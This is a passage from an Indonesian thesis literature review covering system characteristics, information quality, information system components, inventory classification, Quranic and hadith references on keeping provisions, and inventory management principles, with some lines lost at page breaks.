Masing-masing yang lebih kecil lagi atau terdiri atas subsistem-subsistem yang lebih kecil lagi atau terdiri atas komponen-komponen. Subsistem-subsistem saling berinteraksi dan berhubungan membentuk satu kesatuan sehingga tujuan atau sasaran sistem tersebut tercapai.

2.3.1.2Karakteristik Sistem

Model umum sebuah sistem adalah input, proses, dan output. Hal ini

merupakan konsep sebuah sistem yang sangat sederhana sebab sebuah sistem dapat mempunyai beberapa masukan dan keluaran. Selain itu, sebuah sistem memiliki karakteristik atau sifat-sifat tertentu, yang mencirikan bahwa hal tersebut bias dikatakan sebagai suatu sistem (Sutabri, 2005).

Adapun karakteristik yang dimaksud adalah sebagai berikut:


(38)

Suatu sistem terdiri atas sejumlah komponen yang saling berinteraksi, artinya saling bekerja sama membentuk satu kesatuan. Komponen-komponen sistem tersebut dapat berupa suatu bentuk subsistem. Setiap subsistem memiliki sifat dari sistem yang menjalankan suatu fungsi tertentu dan mempengaruhi proses sistem secara keseluruhan. Suatu sistem dapat mempunyai sistem yang lebih

besar, yang disebut “supra sistem”

2) Batas Sistem (Boundary)

Ruang lingkup sistem merupakan daerah yang membatasi antara sistem dengan sistem yang lain atau sistem dengan lingkungan luarnya. Batasan sistem ini memungkinkan suatu sistem dipandang sebagai satu kesatuan yang tidak dapat dipisah-pisahkan.

3) Lingkungan Luar Sistem (Environment)

Bentuk apapun yang ada diluar lingkup atau batasan sistem yang mempengaruhi operasi sistem tersebut disebut lingkungan luar sistem. Lingkungan luar sistem ini dapat bersifat menguntungkan dan dapat juga merugikan sistem tersebut. Lingkungan luar yang menguntungkan merupakan energy bagi sistem tersebut. Dengan demikian, lingkungan luar tersebut harus tetap dijaga dan dipelihara. Lingkungan luar yang merugikan harus dikendalikan. Kalau tidak maka akan mengganggu kelangsungan hidup sistem tersebut.

4) Penghubung Sistem (Interface)

Media yang menghubungkan sistem dengan subsistem lain disebut penghubung

sistem atau interface. Penghubung ini memungkinkan sumber-sumber daya


(39)

13

subsistem akan menjadi masukan untuk subsistem lain melalu penghubung tersebut. Dengan demikian, dapat terjadi suatu integrasi sistem yang membentuk satu kesatuan.

5) Masukan Sistem (Input)

Energi yang dimasukkan ke dalam sistem disebut masukkan sistem, yang dapat

berupa pemeliharaan (maintenance input) dan sinyal (signal input). Contoh, di

dalam suatu unit sistem komputer. “Program” adalah maintenance input yang

digunakan untuk mengoperasikan komputernya dan “data” adalah signal input

untuk diolah menjadi informasi.

6) Keluaran Sistem (Output)

Hasil energi yang diolah dan diklasifikasikan menjadi keluaran yang berguna. Keluaran ini merupakan masukan bagi subsistem yang lain. Contoh, sistem informasi. Keluaran yang dihasilkan adalah informasi. Informasi ini dapat digunakan sebagai masukan untuk pengambilan keputusan atau hal-hal lain yang

menjadi input bagi subsistem lain.

7) Pengolahan Sistem (Process)

Suatu sistem dapat mempunyai suatu proses yang akan mengubah masukkan menjadi keluaran. Contoh, sistem akuntansi. Sistem ini akan mengolah data transaksi menjadi laporan-laporan yang dibutuhkan oleh pihak manajemen.

8) Sasaran Sistem (Objective)

Suatu sistem memiliki tujuan dan sasaran yang pasti dan bersifat deterministic.


(40)

gunanya. Suatu sistem dikatakan berhasil bila mengenai sasaran atau tujuan yang telah direncanakan.

2.3.1.3Klasifikasi Sistem

Sistem merupakan suatu bentuk integritas antara satu komponen dengan komponen lain, karena sistem memiliki sasaran yang berbeda untuk setiap kasus yang terjadi yang ada di dalam sistem tersebut (Sutabri, 2005). Oleh karena itu, sistem dapat diklasifikasikan dari beberapa sudut pandang, diantaranya adalah:

1) Sistem abstrak dan sistem fisik

Sistem abstrak adalah sistem yang berupa pemikiran atau ide-ide yang tidak tampak secara fisik, misalnya sistem teologia, yaitu sistem yang berupa pemikiran hubungan antara manusia dengan Tuhan, sedangkan sistem fisik merupakan sistem yang ada secara fisik, misalnya sistem computer, sistem produksi, sistem penjualan, sistem administrasi personalia, dan lain sebagainya.

2) Sistem alamiah dan sistem buatan

Sistem alamiah adalah sistem yang terjadi melalui proses alam, tidak dibuat oleh manusia, misalnya sistem perputaran bumi, terjadinya siang dan malam, dan pergantian musim. Sedangkan sistem buatan manusia merupakan sistem yang

melibatkan interaksi manusia dengan mesin, yang disebut human machinesystem.

Sistem informasi berbasis computer merupakan contoh human machine system

karena menyangkut penggunaan komputer yang berinteraksi dengan manusia.


(41)

15

Sistem yang beroperasi dengan tingkah laku yang dapat diprediksi disebut sistem

deterministic. Sistem komputer adalah contoh dari sistem yang tingkah lakunya dapat dipastikan berdasarkan program-program kompter yang dijalankan.

Sedangkan sistem yang bersifat probabilistic adalah sistem yang kondisi masa

depannya tidak dapat diprediksi karena mengandung unsur ketidakpastian. Misalnya sistem persediaan.

4) Sistem terbuka dan sistem tertutup

Sistem tertutup merupakan sisten yang tidak berhubungan dan tidak berpengaruh oleh lingkungan luarnya. Sistem ini bekerjaa secara otomatis tanpa campur tangan pihak luar. Sedangkan sistem terbuka adalah sistem yang berhubungan dan dipengaruhi oleh lingkungan luarnya. Sistem ini menerima masukan dan menghasilkan keluaran untuk subsistem lainnya.

2.3.2 Informasi

2.3.2.1Pengertian Informasi

Informasi adalah data yang telah dikalsifikasikan atau diolah atau diinterpretasi untuk digunakan dalam proses pengambilan keputusan (Sutabri, 2005). Dalam pengertian lain informasi adalah hasil pengolahan data yang dapat memberikan manfaat kepada manusia (Akbar, 2006). Menurut Davis diambil dalam buku Mulyanto informasi juga dapat didefinisikan sebagai data yang telah diolah menjadi bentuk yang lebih berarti dan berguna bagi penerimanya untuk mengambil keputusan masa kini maupun yang akan datang (Mulyanto, 2009).


(42)

Fungsi utama informasi adalah menambah pengetahuan atau mengurangi ketidakpastian pemakai informasi. Informasi yang disampaikan kepada pemakai mungkin merupakan hasil data yang dimasukkan ke dalam pengolahan model keputusan.

2.3.2.2Nilai dan Kualitas Informasi

Nilai informasi ditentukan oleh 2 (Dua) hal, yaitu manfaat dan biaya untuk mendapatkannya. Suatu informasi dikatakan bernilai bila manfaat lebih efektif dibandingkan dengan biaya mendapatkannya (Sutabri, 2005)

Lebih lanjut, sebagian besar informasi tidak dapat persis ditafsir keuntungannya dengan suatu nilai uang, tetapi dapat ditafsir nilai efektivitasnya.

Pengukuran nilai informasi biasanya dihubungkan dengan analisa cost effectiveness

atau cost benefit. Nilai informasi ini didasarkan atas 10 (sepuluh) sifat, yaitu:

(1) Mudah diperoleh

Sifat ini menunjukkan mudahnya dan cepatnya informasi yang dapat diperoleh.

Kecepatan memperoleh dapat diukur, misalnya 1 menit versus 24 jam. Akan

tetapi, beberapa nilainya bagi pemakai informasi sulit mengukurnya.

(2) Luas dan Lengkap

Sifat ini menunjukkan lengkapnya sifat informasi. Hal ini tidak berarti hanya

mengenai volume-nya, akan tetapi juga mengenai keluaran informasinya.


(43)

17

Sifat ini berhubungan dengan tingkat kebebesan dari kesalahan keluaran informasi.

(4) Kecocokan

Sifat ini menunjukkan betapa baik keluaran informasi dalam hubungannya dengan permintaan para pemakai.

(5) Ketepatan Waktu

Sifat ini berhubungan dengan waktu yang dilalui yang lebih pendek dari pada siklus untuk mendapatkan informasi.

(6) Kejelasan

Sifat ini menunjukkan keluaran informasi yang bebas dari istilah-istilah yang tidak jelas.

(7) Keluwesan

Sifat ini berhubungan dengan disesuaikannya keluaran informasi tidak hanya dengan lebih dari satu keputusan, tetapi juga dengan lebih dari seorang pengambil keputusan.

(8) Dapat dibuktikan

Sifat ini menunjukkan kemampuan beberapa pemakai informasi untuk menguji keluaran informasi dan sampai pada kesimpulan yang sama.

(9) Tidak Ada Prasangka

Sifat ini berhubungan dengan tidak adanya keinginan untuk mengubah informasi guna mendapatkan kesimpulan yang telah dipertimbangkan sebelumnya.


(44)

Sifat ini menunjukkan hakekat informasi yang telah dihasilkan dari sistem informasi formal.

Kualitas suatu informasi tergantung dari 3 (tiga) hal yaitu, informasi

harus akurat (accurate), tepat waktu (timelines), dan relevan (relevance) (Sutabri,

2005). Penjelasan tentang kualitaas informasi tersebut akan dipaparkan dibawah ini.

1) Akurat

Informasi harus bebas dari kesalahan-kesalahan dan tidak bias atau menyesatkan. Akurat juga berarti informasi harus jelas mencerminkan maksudnya. Informasi harus akurat karena dari sumber informasi sampai ke penerima informasi kemungkinan banyak terjadi gangguan yang dapat merubah atau merusak informasi tersebut.

2) Tepat pada Waktunya

Informasi yang datang pada penerima tidak boleh terlambat. Informasi yang sudah using tidak akan mempunyai nilai lagi, karena informasi merupakan landasan dalam pengambilan keputusan. Bila pengambilan keputusan terlambat, maka akan berakibat fatal bagi suatu organisasi.

3) Relevan

Informasi tersebut mempunyai manfaat untuk pemakainya. Relevansi informasi untuk tiap-tiap orang satu dengan lainnya berbeda.


(45)

19

2.3.3 Sistem Informasi

2.3.3.1Pengertian Sistem Informasi

Sistem informasi adalah suatu sistem didalam suatu organisasi yang mempertemukan sauatu kebutuhan pengolahan transaksi harian yang mendukung fungsi operasi organisasi yang bersifat manajerial dengan kegiatan strategi dari suatu organisasi untuk dapat menyediakan informasi kepada pihak luar tertentudengan laporan-laporan yang diperlukan (Sutabri, 2005).

Sistem informasi adalah suatu komponen yang terdiri atas manusia, teknologi informasi, dan prosedur kerja yang memproses, menyimpan, menganalisis, dan menyebarkan informasi untuk mencapai suatu tujuan (Mulyanto, 2009).

2.3.3.2Komponen Sistem Informasi

Sistem informasi terdiri atas komponen-komponen yang disebut blok

bangunan (building block), yang terdiri atas blok masukan, blok model, blok

keluaran, blok teknologi, blok basis data, dan blok kendali (Sutabri, 2006).

1) Blok masukan (input block)

Input mewakili data yang masuk ke dalam sistem informasi. Input disini termasuk metode dan media untuk menangkap data yang dimasukkan, yang dapat berupa dokumen-dokumen dasar.

2) Blok Model (model block)

Blok ini terdiri dari kombinasi prosedur, logika, dan model matematik yang akan memanipulasi data inout dan data yang tersimpan di basis data dengan cara yang sudah ditentukan untuk menghasilkan keluaran yang diinginkan.


(46)

3) Blok Keluaran (output block)

Produk dari sistem informasi adalah keluaran yang merupakan informasi yang berkualitas dan dokumentasi yang berguna untuk semua tingkatan manajemen serta semua pemakai sistem.

4) Blok Teknologi (technology block)

Teknologi merupakan “tool box” dalam sistem informasi. Teknologi digunakan

untuk menerima input, menjalankan model, menyimpan dan mengakses data,

menghasilkan dan mengirimkan keluaran, dan membantu pengendalian dari sistem secara keseluruhan..

5) Blok Basis Data (database block)

Basis data (database) merupakan kumpulan data yang saling berkaitan dan

berhubungan satu dengan yang lain, tersimpan di perangkat keras computer dan menggunakan perangkat lunak untuk manipulasinya.

6) Blok Kendali (control block)

Banyak hal yang dapat merusak sistem informasi, seperti bencana alam, api, temperatur, air, debu, kecurangan-kecurangan, kegagalan-kegagalan sistem itu sendiri, ketidak efisienan, sabotas, dan lain sebagainya.

Komponen sistem informasi menurut pandangan lain terdiri dari lima sumber daya yang dikenal sebagai komponen sistem informasi. Kelima sumber daya tersebut

adalah manusia, hardware, software, data, dan jaringan. Kelima komponen tersebut

memainkan peranan yang sangat penting dalam suatu sistem informasi (Mulyanto, 2009). Namun, dalam kenyataannya, tidak semua komponen sistem informasi


(47)

21

mencakup kelima komponen tersebut. Misalnya, sistem informasi pribadi yang mencakup jaringan telekomunikasi.

2.3.3.3Jenis Sistem Informasi

Manajemen membutuhkan informasi untuk mendukung pengambilan keputusan yang akan dilakukan. Sumber informasi untuk pengambilan keputusan manajemen bisa didapat dari informasi eksternal dan informasi internal. Informasi internal dapat diperoleh dari sistem informasi yang berupa hasil pengolahan data elektronik (PDE) atau non PDE (Sutabri, 2005).

Beberapa sistem informasi fungsional yang umuk sebagai berikut (Kadir, 2003).

(1) Sistem Informasi Akuntansi

Sistem informasi yang menyediakan informasi yang dipakai oleh fungsi akuntansi. Sistema ini mencakup semua transaksi yang berhubungan dengan keuangan dalam perusahaan.

(2) Sistem Informasi Keuangan

Sistem informasi yang menyediakan informasi pada fungsi keuangan yang menyangkut keuangan perusahaan.

(3) Sistem Informasi Manufaktur

Sistem informasi yang bekerja sama dengan sistem informasi lain untuk mendukung menajamen perusahaan dalam menyelesaikan masalah yang berhhubungan dengan produk atau jasa, yang dihasilkan perusahaan.


(48)

Sistem informasi yang menyediakan informasi yang dipakai oleh fungsi pemasaran.

(5) Sistem Informasi SDM

Sistem informasi yang menyediakan informasi yang dipakai oleh fungsi personalia.

2.4 Manajemen

2.4.1 Pengertian Manajemen

Manajemen adalah suatu proses atau kegiatan yang menjelaskan apa yang dilakukan manajer pada operasional organisasi mereka untuk merencanakan, mengorganisasikan, memprakarsai, dan mengendalikan operasi (Sutabri, 2005).

2.4.2 Bentuk Kegiatan Manajemen

Kegiatan manajemen dihubungkan dengan tingkatannya di dalam organisasi. Kegiatan manajemen tingkat atas, menengah, dan bawah adalah berbeda. Kegiatan-kegiatan manajemen mempengaruhi pengolahan informasi karena informasi yang dibutuhkan berbeda untuk masing-masing tingkatan. Kebutuhan informasi yang berbeda itu dapat diketahui dari masing-masing kegiatan manajemen tersebut (Sutabro, 2005). Kegiatan manajemen untuk masing-masing tingkatan dapat dikategorikan sebagai berikut:


(49)

23

Merupakan kegiatan manajemen tingkat atas (top manager). Perencanaan

strategis adalah proses evaluasi lingkungan organisasi, penetapan tujuan organisasi, dan penentuan strategi-strategi.

(2) Pengendalian Manajemen

Pangendalian manajemen adalah proses meyakinkan bahwa organisasi telah menjalankan strategis yang sudah ditetapkan dengan efektif dan efisien.

(3) Pengendalian Operasi

Pengendalian operasi adalah proses meyakinkan bahwa setiap tugas tertentu telah dilaksanakan secara efektif dan efisien. Pengendalian operasi ini merupakan proses penerapan program yang telah ditetapkan di pengendalian manajemen.

2.5 Persediaan (Inventory) 2.5.1 Pengertian Persediaan

Persediaan merupakan bahan baku atau barang yang disimpan untuk tujuan tertentu, antara lain untuk proses produksi, jika berupa bahan mentah maka akan

diproses lebih lanjut, jika berupa komponen (spare part) maka akan dijual kembali

menjadi barang dagangan (Yolanda, 2005).

Barang persediaan atau disebut inventory adalah barang-barang yang biasanya

dapat dijumpai di gudang tertutup, lapangan, gedung terbuka, atau tempat-tempat penyimpanan lain, baik berupa bahan baku, barang setengah jadi, barang jadi, barang-barang untuk keperluan suatu proyek (Eko & Djoko, 2003).


(50)

2.5.2 Fungsi Persediaan

Persediaan dapat memiliki fungsi penting menambah fleksibilitas dari operasi suatu perusahaan. Fungsi dasar persediaan sebenarnya sangat sederhana, yaitu

meningkatkan profitability prusahaan (Yolanda, 2005).

Bagi sebagian perusahaan kebijakan persediaan yang aman adalah memiliki persediaaan dalam jumlah banyak, tetapi ternyata hal akan menyebabkan tingginya biaya untuk penyimpanan dan pembelian bahan atau barang yang bersangkutan, sedangkan kelebihan persediaan juga akan menyebabkan banyaknya dana yang terserap dalam persediaan sehingga tidak efisien. Sebaliknya, bila persediaan terlalu sedikit akan beresiko kekurangan bahan baku atau barang. Hal ini akan mengganggu kelancaran proses produksi, selain itu juga biaya pembelian dan biaya persediaan juga semakin besar.

Selain fungsi dasar persediaan, ada beberapa fungsi persediaan yang lainnya, yakni fungsi wilayah, fungsi decoupling, dan fungsi penyeimbang dengan permintaan (Yolanda, 2005).

1) Fungsi Pemisahan Wilayah, merupakan spesialisasi ekonomis antara unit

pembuatan (manufacturing) dan unit distribusi yang dibagikan dalam

wilayah-wilayah yang ditangani.

2) Fungsi decoupling, merupakan fungsi suatu produk yang diproses dan

didistribusikan dalam ukuran yang ekonomis.

3) Fungsi penyeimbang dengan permintaan. Persediaan berfungsi untuk


(51)

25

konsumsi dapat dipenuhi dengan lancer dari proses produksi yang dilakukan. Sifat permintaan dapat bersifat stabil atau musiman.

2.5.3 Klasifikasi Barang Persediaan

Barang persediaan dapat dibagi atas beberapa jenis atau klasifikasi. Sekurang-kurangnya ada 6 (enam) klasifikasi utama (Eko & Djoko, 2003), yaitu:

1) Bahan Baku (raw materials)

Bahan mentah yang belum diolah, yang akan menjadi barang jadi sebagai hasil utama dari perusahaan yang bersangkutan.

2) Barang Setengah Jadi (semi finished products)

Hasil olahan bahan mentah sebelum menjadi barang jadi, yang sebagian akan diolah lebih lanjut menjadi barang jadi, dan sebagian kadang-kadang dijual seperti apa adanya untuk menjadi bahan baku perusahaan lain.

3) Barang Jadi (finished products)

Barang yang sudah selesai diproduksi atau diolah, yang merupakan hasil utama perusahaan yang bersangkutan dan siap untuk dipasarkan/ dijual.

4) Barang Umum dan Suku Cadang (general materials and spare parts)

Segala jenis barang atau suku cadang yang digunakan untuk operasi menjalankan perusahaan/ pabrik dan untuk memelihara peralatan yang digunakan. Seringkali barang persediaan jenis ini disebut juga barang pemeliharaan, perbaikan, dan


(52)

5) Barang Untuk Proyek (Work in Progress)

Barang-barang yang ditumpuk menunggu pemasangan dalam suatu proyek baru.

6) Barang Dagangan (commodities)

Barang yang dibeli, sudah merupakan barang jadi dan disimpan di gudang menunggu penjualan kembali dengan keuntungan tertentu.

Dalam logistic terdapat jenis persediaan yang lain misalnya sebagai berikut (Yolanda, 2005).

(1) Pipeline, merupakan persediaan yang masih dalam proses persediaan. Persediaan

ini biasa juga disebut intransit inventory. Terdapat dua jenis persediaan pipeline,

yaitu tujuan FOB (FOB destination), merupakan barang yang masih menjadi

tanggung jawab pengirim sampai diterima ke tujuan. Kedua, sumber FOB(FOB

origin) barang menjadi tanggung jawab penerima setelah barang dikirim.

(2) Speculation, merupakan persediaan yang dibeli untuk tujuan spekulasi, karena adanya sifat permintaan musiman. Misalnya, pedagang sebulan sebelum hari raya sering melakukan penumpukan barang dengan harapan dapat menjual dengan harga tinggi pada hari raya.

(3) Regular atau cyclical, merupakan yang digunakan untuk memenuhi kebutuhan rutin, baik kebutuhan yang digunakan proses produksi maupun kebutuhan lain. (4) Safety Stock, perseediaan yang sering dikaitkan dengan besarnya permintaan

berubah-ubah dan ketidakteraturan waktu tunggu (lead time). Untuk

mengantisipasi keadaan tersebut, perusahaan perlu menyiapkan persediaan

pengaman (safety stock). Persediaan pengaman adalah tambahan persediaan dari


(53)

27

Jumlah jenis barang umum dan suku cadang ini untuk tiap perusahaan sangat bervariasi, dari hanya puluhan sampai ratusan ribu. Ford, misalnya mempunyai barang persediaan jenis 1 (bahan baku) dan 2 (bahan setengah jadi) sebanyak kurang

lebih 450.000 item, dan Pertamina misalnya, mempunyai barang persediaan jenis 4

(barang umum dan suku cadang) sebanyak sekitar 400.000 item, tentu saja makin

banyak jenisnya, makin rumit permasalahan dan pengelolaannya. Contoh barang persediaan jenis keempat ini (Eko & Djoko, 2003) adalah:

1) Barang Umum

a. Cat (paints);

b. Sekrup dan baut (bolts and nuts)

c. Kerangan (values);

d. Pipa (pipes);

e. Slang (hoses);

f. Alat keselamatan dan pemadam kebakaran (fire and safety apparatus).

2) Suku Cadang:

a. Suku cadang untuk turbin (turbines);

b. Suku cadang untuk mesin (engine);

c. Suku cadang untuk kompresor (compressor);

d. Suku cadang untuk pompa (pump);

e. Suku cadang untuk pembangkit listrik (generator);


(54)

Contoh barang dagangan untuk perusahaan seperti supermarket yang bergerak di bidang jual-beli segala jenis keperluan rumah tangga seperti Carrefour, Metro, dan Hero:

1) Makanan kaleng;

2) Buah-buahan;

3) Daging dan ikan segar;

4) Barang-barang untuk cucian;

5) Minuman botol dan kaleng.

2.5.4 Anjuran Persediaan Dalam Islam

Islam menerangkan dalam sebuah dalil dalam Surat Yusuf ayat 43-49 yang berbunyi:


(55)

29

Yang artinya:

43. Raja berkata (kepada orang-orang terkemuka dari kaumnya): "Sesungguhnya aku bermimpi melihat tujuh ekor sapi betina yang gemuk-gemuk dimakan oleh tujuh ekor sapi betina yang kurus-kurus dan tujuh bulir (gandum) yang hijau dan tujuh bulir lainnya yang kering." Hai orang-orang yang terkemuka: "Terangkanlah kepadaku tentang ta'bir mimpiku itu jika kamu dapat mena'birkan mimpi."

44. Mereka menjawab: "(Itu) adalah mimpi-mimpi yang kosong dan Kami sekali-kali tidak tahu menta'birkan mimpi itu."

45. Dan berkatalah orang yang selamat diantara mereka berdua dan teringat (kepada Yusuf) sesudah beberapa waktu lamanya: "Aku akan memberitakan kepadamu tentang (orang yang pandai) mena'birkan mimpi itu, Maka utuslah aku (kepadanya)."

46. (setelah pelayan itu berjumpa dengan Yusuf Dia berseru): "Yusuf, Hai orang yang Amat dipercaya, Terangkanlah kepada Kami tentang tujuh ekor sapi betina yang gemuk-gemuk yang dimakan oleh tujuh ekor sapi betina yang kurus-kurus dan tujuh bulir (gandum) yang hijau dan (tujuh) lainnya yang kering agar aku kembali kepada orang-orang itu, agar mereka mengetahuinya."

47. Yusuf berkata: "Supaya kamu bertanam tujuh tahun (lamanya) sebagaimana biasa; Maka apa yang kamu tuai hendaklah kamu biarkan dibulirnya kecuali sedikit untuk kamu makan.


(56)

48. Kemudian sesudah itu akan datang tujuh tahun yang Amat sulit, yang menghabiskan apa yang kamu simpan untuk menghadapinya (tahun sulit), kecuali sedikit dari (bibit gandum) yang kamu simpan.

49. Kemudian setelah itu akan datang tahun yang padanya manusia diberi hujan (dengan cukup) dan dimasa itu mereka memeras anggur."

Allah Menceritakan dalam mimpi yang dialami oleh raja sebagai sarana untuk mengeluarkan Yusuf dari penjara secara terhormat dan terpandang. Raja merasa bingung oleh mimpinya ini dan dia heran terhadap persoalannya. Maka dia mengumpulkan para dukun, pembesar kerajaan, dan para gubernur. Dia menceritakan

mimpi itu kepada mereka. Namun mereka tidak mengetahui takbirnya. Mereka

berdalih kepadda raja dengan mengatakan, “Itu adalah mimpi yang kosong,” yakni mimpi yang kacau,” dan kami sekali-kali tidak tahu mentakbirkan mimpi itu,”

sehingga walaupun mimpi itu benar maka kami tidak mengetahui takbirnya.

Kemudian si pemuda yang dahulu menerima pesan dari Yusuf agar dia menceritakan

ihwal dirinya kepada raja teringat akan Yusuf. Kemudian, setelah dia melupakan soal

Yusuf, berkata, “Aku akan menceritakan kepadamu takbir mimpi itu, maka utuslah

aku,”Yakni, maka utuslah aku untuk menemui Yusuf yang sangat jujur ke penjara. Mereka mengirimkannya. Pemuda itu pergi. Dia berkata,”Yusuf, hai orang yang amat dipercaya, terangkanlah kepada kami.” Si pemuda menceritakan mimpi itu. Pada saat

itulah Yusuf menceritakan takbirnya. Yusuf tidak bersikap keras kepada si pemuda

itu atas kelalaiannya untuk menceritakan pesannya kepada raja. Di berkata,”Yakni,


(57)

31

menakbirkan sapi dengan tahun karena sapi itu suka digunakan untuk mengelola tanah guna menanam buah-buahan dan palawija

Kemudian Yusuf mengarahkan mereka dalam menghadapi masa yang akan

mereka lewati itu. Maka dia berkata,”Maka apa yang kamu tuai hendaklah kamu

biarkan dibulirnya kecuali sedikit untuk kamu makan.”Simpanlah hasil panen

gandum selama tujuh tahun itu pada bulir-bulirnya supaya awet dan tidak cepat rusak kecuali sebagian kecil saja untuk kamu makan. Hendaklah kamu makan sedikit demi sedikit sertaa janganlah berlebihan agar kamu dapat menggunakannya pada masa tujuh tahun peceklik, yaitu tahun paceklik yang akan terjadi secara terus-menerus. Tahun paceklik ini digambarkan melalui sapi kurus yang memakan sapi gemuk. Hal ini karena pada tahun paceklik dimakan persediaan yang dikumpulkan pada tahun subur yang digambarkan melalui tujuh bulir yang kering.

Yusuf memberitahukan kepada mereka bahwa pada tahun kering itu tidak akan tumbuh apapun. Apa yang mereka tanam tidak akan menghasilkan apapun. Oleh

karena itu, dia berkata,”Menghabiskan apa yang kamu simpan untuk menghadapinya

kecuali sedikit dari yang kamu simpan. “Kemudian Yusuf menggembirakan mereka

bahwa setelah tahun kemarau yang berturut-turut itu akan diakhiri oleh satu tahun yang pada manusia diberi hujan yang menyuburkan negeri. Manusia dapat memeras apa yang dahulu biasa mereka peras seperti zaitun, tebu, dan termasuk di dalamnya

memerah susu. “Da di masa itu mereka memeras.”

Dalam ayat tersebut bermakna agar manusia dapat melakukan penyimpanan untuk makan mereka sehari-hari agar ada yang tetap bisa dimakan di kemudian hari. (Ringkasan Tafsir Ibnu Katsir)


(58)

Dalam sebuah hadits juga dijelaskan:

Abdullah bin Abdurrohman Ad-Damiriy bercerita kepadaku yahya bin hasan bercerita kepada kami bahwa Sulaiman bin Bilal bercerita kepada kami, dari Hisyam dari bapaknya dari Aisyah bahwasanya Nabi SAW bersabda tidaklah lapar sebuah keluarga yang di sisi merke itu kurma.

Bercerita kepada kami oleh Abdullah bin Maslamah bin Ko’nab bercerita

kepada kami, Ya’kub bin Muhammad bin Tholhah dari Abi Rizal Muhammad bin Abdirrahman dari ibunya. Dari Aisyah dia berkata :

Rasulullah SAW. ”Wahai Aisyah Rumah yang tidak memiliki persediaan

kurma didalamnya niscaya keluarga tertimpa kelaparan, atau keluarganya akan lapar. Nabi bersabda kepadanya sampai dua atau tiga kali.


(59)

33

Dalam hadits ini menerangkan pentingnya persediaan, agar manusia mempunyai persediaan baik itu makanan dan minuman ataupun kebutuhan lainnya.

(Shahih Muslim Syara’ Imam Nawawi)

2.6 Manajemen Persediaan (Inventory Management) 2.6.1 Pengertian Manajemen Persediaan

Manajemen persediaan (inventory management) atau disebut juga dengan

inventory management atau pengendalian tingkat persediaaan adalah kegiatan yang berhubungan dengan perencanaan, pelaksanaan, dan pengawasan penentuan kebutuhan material sedemikian rupa sehingga di satu piihak kebutuhan operasi dapat dipenuhi pada waktunya dan di lain pihak investasi persediaan material dapat ditekan secara optimal (Eko & Djoko, 2003).

2.6.2 Prinsip Manajemen Persediaan

Seperti sudah disinggung di atas secara singkat, mengenai persediaan barang, ada jenis prinsip pengelolaan yang harus dianut, (Eko & Djoko, 2003) yakni:

“Penentuan jumlah dan jenis barang yang disimpan dalam persediaan haruslah

sedemikian rupa sehingga produksi dan operasi perusahaan tidak terganggu, tetapi di lain pihak sekaligus harus dijaga agar biaya investasi yang timbul dari

penyediaan barang tersebut seminimal mungkin”.


(60)

“Menghasilkan keluaran tertentu dengan biaya seminimal mungkin, atau dengan

biaya tertentu menghasilkan keluaran semaksimal mungkin”

Hal ini memang demikian karena pada hakikatnya, soal manajemen persediaan adalah soal keputusan atau manajamen ekonomi perusahaan.

Kalau melihat prinsip pengelolaan persediaan tadi, maka jelas bahwa diperlukan perpaduan antara dua hal yang sangat bertolak belakang. Cara yang paling mudah untuk menjaga agar operasi terjamin adalah dengan mengisi persediaan barang sebanyak-banyaknya (biasanya ini kemauan pemakai barang). Sedangkan yang paling mudah untuk menjaga agar biaya investasi seminimal mungkin adalah mengusahakan persediaan mencapai nol (biasanya ini dikehendaki oleh fungsi keuangan). Di sinilah letak fungsi manajemen persediaan, yaitu menjembatani dua kepentingan yang bertolak belakang tersebut.

Prinsip di atas menandakan pula bahwa pengelolaan persediaan haruslah berdaya guna (efisien) dan berhasil guna (efektif). Menjamin kelangsungan jalannya operasi perusahaan adalah sial efektivitas, sedangkan menekan persediaan sampai ke tingkat minimum adalah soal efisiensi. Dengan demikian, pertanyaan-pertanyaan yang harus dijawab yang menyangkut manajemen persediaan antara lain (Eko & Djoko, 2003) adalah:

1) Jenis barang apa saja yang perlu disimpan dalam persediaan?

2) Berapa jumlah barang tiap-tiap jenis yang perlu disimpan dalam persediaan?

3) Apa, berapa, dan kapan suatu barang yang harus dipesan lagi untuk mengisi


(61)

35

4) Bagaimana perbedaan antara manajemen persediaan barang umum dan suku

cadang.

5) Bagaimana menentukan tingkat (nilai) persediaan yang ideal?

6) Bagaimana menentukan standardisasi material dan perlengkapan?

7) Hal-hal apa yang mempengaruhi manajemen persediaan?

8) Bagaimana mengendalikan dan mengelola persediaan berlebih dan persediaan

mati?

9) Biaya-biaya apa saja yang menyangkut manajemen persediaan dan bagaimana

mengendalikannya?

10)Bagaimana melakukan peramalan jumlah permintaan barang?

11)Bagaimana melakukan benchmarking?

12)Bagaimana mengukur tingkat kinerja manajemen persediaan?

13)Bagaimana akuntansi barang persediaan?

2.6.3 Pembagian Jenis Barang

Tadi sudah disebutkan bahwa barang persediaan dapat dibagi menjadi barang umum dan suku cadang. Ini adalah pembagian menurut jenisnya. Dalam manajemen persediaan, barang-barang dapat dibagi menurut beberapa sudut pandang/ pendekatan, yang antara lain dapat disampaikan sebagai berikut (Eko & Djoko, 2003).

1) Menurut Jenis


(62)

Barang jenis ini biasanya macamnya cukup banyak, pemakainya tidak tergantung dari perlatan, harganya relatif lebih kecil, dan kebutuhannya relatif lebih gampang.

b. Suku Cadang (spare parts)

Barang jenis ini macamnya sangat banyak, harganya biasanya lebih mahal, pemakaiannya tergantung dari peralatan, dan penentuan kebutuhannya lebih sulit.

2) Menurut Harga

a. Barang berharga tinggi (high value items)

Barang ini biasanya berjumlahh sekitar hanya 10 % dari jumlah item

persediaan, namun jumlah nilainya mewakili sekitar 70% dari seluruh nilai persediaan, dan oleh sebab itu memerlukan tingkat pengawasan yang sangat tinggi.

b. Barang berharga menengah (medium value items)

Barang ini biasanya berjumlah kira-kira 20% dari jumlah item persediaan, dan

jumlah nilainya juga sekitar 20% jumlah nilai persediaan, sehingga memerlukan tingkat pengawasan cukup saja.

c. Barang berharga rendah (low value items)

Berlawanan dengan barang berharga tinggi, jenis barang ini biasanya berjumlah kira-kira 70% dari keseluruhan pos persediaan, namun nilai harganya hanya mewakili 10% saja dari seluruh nilai barang persediaan, sehingga hanya memerlukan tingkat pengawasan rendah.


(63)

37

a. Barang yang cepat pemakaiannya atau pergerakannya (fast moving items)

Barang jenis ini frekuensi penggunaannya dalam 1 tahun lebih dari sekian bulan tertentu, misalnya lebih dari 4 bulan, sehingga barang jenis ini memerlukan frekuensi perhitungan pemesanan kembali yang lebih sering.

b. Barang lambar pemakaian atau pergerakannya (slow moving items)

Barang yang frekuensi penggunaannya dalam 1 tahun kurang dari sekian bulan tertentu, misalnya dibawah 4 bulan, sehingga barang jenis ini memerlukan frekuensi perhitungan pemesanan kembali yang tidak sering.

4) Menurut Tujuan Penggunaan

